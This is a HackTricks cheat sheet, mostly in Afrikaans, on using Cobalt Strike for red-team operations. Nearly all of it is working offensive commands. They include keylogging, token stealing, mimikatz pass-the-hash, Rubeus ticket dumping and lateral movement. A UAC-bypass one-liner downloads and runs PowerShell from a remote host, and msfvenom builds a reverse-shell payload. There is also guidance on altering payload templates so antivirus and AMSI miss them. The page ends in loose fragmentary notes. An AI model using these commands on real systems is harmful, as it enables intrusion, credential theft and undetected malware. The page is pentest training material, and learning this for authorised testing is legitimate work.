Cobalt Strike

Reading time: 16 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Luisteraars

C2 Luisteraars

Cobalt Strike -> Luisteraars -> Voeg by/Wysig dan kan jy kies waar om te luister, watter soort beacon om te gebruik (http, dns, smb...) en meer.

Peer2Peer Luisteraars

Die beacons van hierdie luisteraars hoef nie direk met die C2 te kommunikeer nie, hulle kan deur ander beacons met dit kommunikeer.

Cobalt Strike -> Luisteraars -> Voeg by/Wysig dan moet jy die TCP of SMB beacons kies.

  • Die TCP beacon sal 'n luisteraar in die geselekteerde poort stel. Om met 'n TCP beacon te verbind, gebruik die opdrag connect <ip> <port> vanaf 'n ander beacon.
  • Die smb beacon sal luister in 'n pipename met die geselekteerde naam. Om met 'n SMB beacon te verbind, moet jy die opdrag link [target] [pipe] gebruik.

Genereer & Gasheer payloads

Genereer payloads in lĂȘers

Attacks -> Packages ->

  • HTMLApplication vir HTA lĂȘers
  • MS Office Macro vir 'n kantoor dokument met 'n makro
  • Windows Executable vir 'n .exe, .dll of diens .exe
  • Windows Executable (S) vir 'n stageless .exe, .dll of diens .exe (beter stageless as staged, minder IoCs)

Genereer & Gasheer payloads

Attacks -> Web Drive-by -> Scripted Web Delivery (S) Dit sal 'n script/executable genereer om die beacon van cobalt strike af te laai in formate soos: bitsadmin, exe, powershell en python.

Gasheer Payloads

As jy reeds die lĂȘer het wat jy in 'n webbediener wil gasheer, gaan net na Attacks -> Web Drive-by -> Gasheer LĂȘer en kies die lĂȘer om te gasheer en webbediener konfigurasie.

Beacon Opsies

# Voer plaaslike .NET binĂȘre uit
execute-assembly 
# Let daarop dat om assemblies groter as 1MB te laai, die 'tasks_max_size' eienskap van die malleable profiel gewysig moet word.

# Skermskote
printscreen    # Neem 'n enkele skermskoot via PrintScr metode
screenshot     # Neem 'n enkele skermskoot
screenwatch    # Neem periodieke skermskote van desktop
## Gaan na View -> Skermskote om hulle te sien

# keylogger
keylogger [pid] [x86|x64]
## View > Keystrokes om die gedrukte sleutels te sien

# portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Spuit portscan aksie binne 'n ander proses
portscan [targets] [ports] [arp|icmp|none] [max connections]

# Powershell
## Importeer Powershell module
powershell-import C:\path\to\PowerView.ps1
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
powershell  # Dit gebruik die hoogste ondersteunde powershell weergawe (nie oppsec nie)
powerpick   # Dit skep 'n sakrifisiale proses gespesifiseer deur spawnto, en spuit UnmanagedPowerShell daarin vir beter opsec (nie logging nie)
powerpick Invoke-PrivescAudit | fl
psinject     # Dit spuit UnmanagedPowerShell in die gespesifiseerde proses om die PowerShell cmdlet uit te voer.

# Gebruikersverpersoonliking
## Token generasie met krediete
make_token [DOMAIN\user] [password] #Skep token om 'n gebruiker in die netwerk te verpersoonlik
ls \\computer_name\c$ # Probeer om die gegenereerde token te gebruik om toegang tot C$ in 'n rekenaar te verkry
rev2self # Stop om die token wat met make_token gegenereer is te gebruik
## Die gebruik van make_token genereer gebeurtenis 4624: 'n rekening is suksesvol aangemeld. Hierdie gebeurtenis is baie algemeen in 'n Windows-domein, maar kan beperk word deur op die Aanmeldtipe te filter. Soos hierbo genoem, gebruik dit LOGON32_LOGON_NEW_CREDENTIALS wat tipe 9 is.

# UAC Bypass
elevate svc-exe 
elevate uac-token-duplication 
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

## Steel token van pid
## Soos make_token maar steel die token van 'n proses
steal_token [pid] # Ook, dit is nuttig vir netwerk aksies, nie plaaslike aksies nie
## Uit die API dokumentasie weet ons dat hierdie aanmeldtipe "die oproeper toelaat om sy huidige token te kloon". Dit is waarom die Beacon-uitset sĂȘ Verpersoonlik  - dit verpersoonlik ons eie gekloonde token.
ls \\computer_name\c$ # Probeer om die gegenereerde token te gebruik om toegang tot C$ in 'n rekenaar te verkry
rev2self # Stop om die token van steal_token te gebruik

## Begin proses met nuwe krediete
spawnas [domain\username] [password] [listener] #Doen dit vanaf 'n gids met lees toegang soos: cd C:\
## Soos make_token, sal dit Windows gebeurtenis 4624 genereer: 'n rekening is suksesvol aangemeld maar met 'n aanmeldtipe van 2 (LOGON32_LOGON_INTERACTIVE). Dit sal die oproepende gebruiker (TargetUserName) en die verpersoonlikte gebruiker (TargetOutboundUserName) detail.

## Spuit in proses
inject [pid] [x64|x86] [listener]
## Vanuit 'n OpSec oogpunt: Moet nie kruis-platform inspuitings uitvoer tensy jy regtig moet nie (bv. x86 -> x64 of x64 -> x86).

## Pass the hash
## Hierdie wysigingsproses vereis die patching van LSASS geheue wat 'n hoë risiko aksie is, vereis plaaslike admin regte en is nie al te lewensvatbaar as Protected Process Light (PPL) geaktiveer is nie.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]

## Pass the hash deur mimikatz
mimikatz sekurlsa::pth /user: /domain: /ntlm: /run:"powershell -w hidden"
## Sonder /run, spaw mimikatz 'n cmd.exe, as jy as 'n gebruiker met Desktop loop, sal hy die shell sien (as jy as SYSTEM loop, is jy goed om te gaan)
steal_token  #Steel token van proses geskep deur mimikatz

## Pass the ticket
## Versoek 'n kaartjie
execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec
## Skep 'n nuwe aanmeldsessie om met die nuwe kaartjie te gebruik (om nie die gecompromitteerde een te oorskry nie)
make_token \ DummyPass
## Skryf die kaartjie in die aanvaller masjien vanaf 'n poweshell sessie & laai dit
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi

## Pass the ticket van SYSTEM
## Genereer 'n nuwe proses met die kaartjie
execute-assembly C:\path\Rubeus.exe asktgt /user: /domain: /aes256: /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Steel die token van daardie proses
steal_token 

## Trek kaartjie + Pass the ticket
### Lys kaartjies
execute-assembly C:\path\Rubeus.exe triage
### Dump interessante kaartjie deur luid
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid: /nowrap
### Skep nuwe aanmeldsessie, let op luid en prosesid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Voeg kaartjie in genereer aanmeldsessie
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Laastens, steel die token van daardie nuwe proses
steal_token 

# Laterale Beweging
## As 'n token geskep is, sal dit gebruik word
jump [method] [target] [listener]
## Metodes:
## psexec                    x86   Gebruik 'n diens om 'n Service EXE artefak uit te voer
## psexec64                  x64   Gebruik 'n diens om 'n Service EXE artefak uit te voer
## psexec_psh                x86   Gebruik 'n diens om 'n PowerShell een-liner uit te voer
## winrm                     x86   Voer 'n PowerShell skrip via WinRM uit
## winrm64                   x64   Voer 'n PowerShell skrip via WinRM uit
## wmi_msbuild               x64   wmi laterale beweging met msbuild inline c# taak (oppsec)

remote-exec [method] [target] [command] # remote-exec gee nie uitset terug nie
## Metodes:
## psexec                          Afgeleë uitvoering via Diensbeheerder
## winrm                           Afgeleë uitvoering via WinRM (PowerShell)
## wmi                             Afgeleë uitvoering via WMI

## Om 'n beacon met wmi uit te voer (dit is nie in die jump opdrag nie) laai net die beacon op en voer dit uit
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe

# Pass sessie na Metasploit - Deur luisteraar
## Op metaploit gasheer
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j

## Op cobalt: Luisteraars > Voeg by en stel die Payload op Buitelandse HTTP. Stel die Gasheer op 10.10.5.120, die Poort op 8080 en klik Stoor.
beacon> spawn metasploit
## Jy kan slegs x86 Meterpreter sessies met die buitelandse luisteraar spaw.

# Pass sessie na Metasploit - Deur shellcode inspuiting
## Op metasploit gasheer
msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
## Voer msfvenom uit en berei die multi/handler luisteraar voor

## Kopieer bin lĂȘer na cobalt strike gasheer
ps
shinject  x64 C:\Payloads\msf.bin #Inspuit metasploit shellcode in 'n x64 proses

# Pass metasploit sessie na cobalt strike
## Genereer stageless Beacon shellcode, gaan na Attacks > Packages > Windows Executable (S), kies die gewenste luisteraar, kies Raw as die Uitset tipe en kies Gebruik x64 payload.
## Gebruik post/windows/manage/shellcode_inject in metasploit om die gegenereerde cobalt strike shellcode in te spuit.

# Pivoting
## Maak 'n socks proxy in die spanbediener
beacon> socks 1080

# SSH verbinding
beacon> ssh 10.10.17.12:22 username password

Opsec

### Execute-Assembly

Die execute-assembly gebruik 'n sacrificial process deur middel van afstand proses inspuiting om die aangeduide program uit te voer. Dit is baie lawaaierig aangesien sekere Win API's gebruik word om binne 'n proses in te spuit wat elke EDR nagaan. Daar is egter 'n paar pasgemaakte gereedskap wat gebruik kan word om iets in dieselfde proses te laai:

Die agressor skrip https://github.com/outflanknl/HelpColor sal die helpx opdrag in Cobalt Strike skep wat kleure in opdragte sal plaas om aan te dui of hulle BOFs (groen) is, of hulle is Frok&Run (geel) en soortgelyk, of hulle is Prosesuitvoering, inspuiting of soortgelyk (rooi). Dit help om te weet watter opdragte meer stil is.

Tree as die gebruiker

Jy kan gebeurtenisse soos Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents nagaan:

  • Sekuriteit EID 4624 - Gaan al die interaktiewe aanmeldings na om die gewone werksure te ken.
  • Stelsel EID 12,13 - Gaan die afsluit/aanvang/slaap frekwensie na.
  • Sekuriteit EID 4624/4625 - Gaan inkomende geldige/ongeldige NTLM pogings na.
  • Sekuriteit EID 4648 - Hierdie gebeurtenis word geskep wanneer platte krediete gebruik word om aan te meld. As 'n proses dit genereer, het die binĂȘre moontlik die krediete in duidelike teks in 'n konfigurasielĂȘer of binne die kode.

Wanneer jy jump van cobalt strike gebruik, is dit beter om die wmi_msbuild metode te gebruik om die nuwe proses meer wettig te laat lyk.

Gebruik rekenaar rekeninge

Dit is algemeen dat verdedigers vreemde gedrag wat deur gebruikers gegenereer word nagaan en diensrekeninge en rekenaarrekeninge soos *$ van hul monitering uitsluit. Jy kan hierdie rekeninge gebruik om laterale beweging of regte verhoging uit te voer.

Gebruik stageless payloads

Stageless payloads is minder lawaaierig as staged ones omdat hulle nie 'n tweede fase van die C2 bediener hoef af te laai nie. Dit beteken dat hulle geen netwerkverkeer genereer na die aanvanklike verbinding nie, wat dit minder waarskynlik maak om deur netwerk-gebaseerde verdediging opgespoor te word.

Tokens & Token Stoor

Wees versigtig wanneer jy tokens steel of genereer omdat dit moontlik is vir 'n EDR om al die tokens van al die threads op te som en 'n token wat aan 'n ander gebruiker behoort of selfs SYSTEM in die proses te vind.

Dit stel jou in staat om tokens per beacon te stoor sodat dit nie nodig is om dieselfde token weer en weer te steel nie. Dit is nuttig vir laterale beweging of wanneer jy 'n gesteelde token verskeie kere moet gebruik:

  • token-store steal
  • token-store steal-and-use
  • token-store show
  • token-store use
  • token-store remove
  • token-store remove-all

Wanneer jy lateraal beweeg, is dit gewoonlik beter om 'n token te steel as om 'n nuwe een te genereer of 'n pass the hash aanval uit te voer.

Guardrails

Cobalt Strike het 'n funksie genaamd Guardrails wat help om die gebruik van sekere opdragte of aksies te voorkom wat deur verdedigers opgespoor kan word. Guardrails kan geconfigureer word om spesifieke opdragte te blokkeer, soos make_token, jump, remote-exec, en ander wat algemeen gebruik word vir laterale beweging of regte verhoging.

Boonop bevat die repo https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks ook 'n paar kontroles en idees wat jy kan oorweeg voordat jy 'n payload uitvoer.

Kaartjies enkripsie

In 'n AD wees versigtig met die enkripsie van die kaartjies. Standaard sal sommige gereedskap RC4 enkripsie vir Kerberos kaartjies gebruik, wat minder veilig is as AES en standaard opdateer omgewings sal AES gebruik. Dit kan deur verdedigers opgespoor word wat monitor vir swak enkripsie algoritmes.

Vermy Standaarde

Wanneer jy Cobalt Strike gebruik, sal die SMB pype standaard die naam msagent_#### en "status_#### hĂȘ. Verander daardie name. Dit is moontlik om die name van die bestaande pype van Cobalt Strike met die opdrag: ls \\.\pipe\ na te gaan.

Boonop, met SSH sessies word 'n pyp genaamd \\.\pipe\postex_ssh_#### geskep. Verander dit met set ssh_pipename "<new_name>";.

Ook in post eksploitatie aanval kan die pype \\.\pipe\postex_#### met set pipename "<new_name>" gewysig word.

In Cobalt Strike profiele kan jy ook dinge soos:

  • Vermy om rwx te gebruik
  • Hoe die proses inspuiting gedrag werk (watter API's gebruik sal word) in die process-inject {...} blok
  • Hoe die "fork and run" werk in die post-ex {
} blok
  • Die slaap tyd
  • Die maksimum grootte van binĂȘre om in geheue gelaai te word
  • Die geheue voetafdruk en DLL inhoud met stage {...} blok
  • Die netwerkverkeer

Bypass geheue skandering

Sommige EDRs skandeer geheue vir sommige bekende malware handtekeninge. Cobalt Strike laat jou toe om die sleep_mask funksie as 'n BOF te wysig wat in staat sal wees om die agterdeur in geheue te enkripteer.

Lawaaiige proc inspuitings

Wanneer jy kode in 'n proses inspuit, is dit gewoonlik baie lawaaierig, dit is omdat geen gewone proses gewoonlik hierdie aksie uitvoer nie en omdat die maniere om dit te doen baie beperk is. Daarom kan dit opgespoor word deur gedrag-gebaseerde opsporingstelsels. Boonop kan dit ook opgespoor word deur EDRs wat die netwerk skandeer vir threads wat kode bevat wat nie op skyf is nie (alhoewel prosesse soos blaaiers wat JIT gebruik dit gewoonlik het). Voorbeeld: https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2

Spawnas | PID en PPID verhoudings

Wanneer 'n nuwe proses gespaw word, is dit belangrik om 'n gewone ouer-kind verhouding tussen prosesse te handhaaf om opsporing te vermy. As svchost.exec iexplorer.exe uitvoer, sal dit verdag lyk, aangesien svchost.exe nie 'n ouer van iexplorer.exe in 'n normale Windows omgewing is nie.

Wanneer 'n nuwe beacon in Cobalt Strike gespaw word, word standaard 'n proses wat rundll32.exe gebruik geskep om die nuwe luisteraar te laat loop. Dit is nie baie stil nie en kan maklik deur EDRs opgespoor word. Boonop, rundll32.exe word sonder enige args uitgevoer wat dit nog meer verdag maak.

Met die volgende Cobalt Strike opdrag kan jy 'n ander proses spesifiseer om die nuwe beacon te spaw, wat dit minder opspoorbaar maak:

bash
spawnto x86 svchost.exe

You can aso change this setting spawnto_x86 and spawnto_x64 in a profile.

Proxying attackers traffic

Aanvallers sal soms in staat moet wees om gereedskap plaaslik te loop, selfs op linux masjiene, en die verkeer van die slagoffers na die gereedskap te laat bereik (bv. NTLM relay).

Boonop, soms om 'n pass-the-hash of pass-the-ticket aanval te doen, is dit meer stil vir die aanvaller om hierdie hash of kaartjie in sy eie LSASS-proses plaaslik by te voeg en dan daarvandaan te pivot in plaas daarvan om 'n LSASS-proses van 'n slagoffer masjien te verander.

However, you need to be careful with the generated traffic, as you might be sending uncommon traffic (kerberos?) from your backdoor process. For this you could pivot to a browser process (although you could get caught injecting yourself into a process so think about a stealth way to do this).

bash

### Avoiding AVs

#### AV/AMSI/ETW Bypass

Check the page:


<a class="content_ref" href="av-bypass.md"><span class="content_ref_label">Antivirus (AV) Bypass</span></a>


#### Artifact Kit

Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.

Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.

After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.

pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .


Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.

#### Resource Kit

The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.

Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:

.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1


Modifying the detected lines one can generate a template that won't be caught.

Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.

#### Function hooks | Syscall

Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.

This can be set in the profile or suing the command **`syscall-method`**

However, this could also be noisy.

Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).

You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)




cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Verander wagwoord
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL

Verander powershell

C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1

Verander $var_code -> $polop

$x --> $ar

cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna

#artifact kit
cd C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .